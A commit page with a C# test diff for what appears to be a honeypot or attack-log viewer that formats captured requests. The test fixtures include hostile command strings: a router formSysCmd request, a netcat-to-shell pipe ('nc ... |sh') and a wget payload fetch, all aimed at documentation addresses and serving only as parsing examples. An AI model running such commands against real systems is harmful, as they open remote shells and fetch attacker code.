Redesign the opened catch row around plain language
Build and deploy / build (push) Successful in 1m30s
Release / image (push) Successful in 1m54s
Build and deploy / deploy (push) Successful in 30s
Release / release (push) Successful in 6s

Full-width detail area with the explanation first, clearly named facts for
commands and collapsed technical details; the list hides the requested
host. Changelog prepared for 0.11.1.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
This commit is contained in:
TomandClaude Sonnet 5.5 committed 2026-11-27 21:59:09 +01:00
1 parent c2ecb14b4a
commit 46f70c9065
7 files changed
+238 -107

No files matched your search

@@ -14,4 +14,22 @@ public sealed class FormattingTests
[InlineData(null, null)]
public void Shows_missing_host_explicitly(string? target, string? expected) =>
Formatting.Target(target).ShouldBe(expected);
[Theory]
[InlineData("POST 192.0.2.1/boaform/admin/formSysCmd", "POST /boaform/admin/formSysCmd")]
[InlineData("GET example.com:8080/?a=/b", "GET /?a=/b")]
[InlineData("GET /x", "GET /x")]
public void Shows_the_request_path_without_the_host(string target, string expected) =>
Formatting.RequestPath(target).ShouldBe(expected);
[Theory]
[InlineData("192.0.2.7:4545", "192.0.2.7, Port 4545")]
[InlineData("bad.example", "bad.example")]
public void Names_the_port_of_a_server(string server, string expected) => Formatting.Server(server).ShouldBe(expected);
[Theory]
[InlineData("sysCmd=nc 192.0.2.7 4545|sh", "sysCmd", "nc 192.0.2.7 4545|sh")]
[InlineData("wget http://192.0.2.9/a?x=1", null, "wget http://192.0.2.9/a?x=1")]
public void Splits_the_form_field_from_the_command(string command, string? field, string text) =>
Formatting.CommandParts(command).ShouldBe((field, text));
}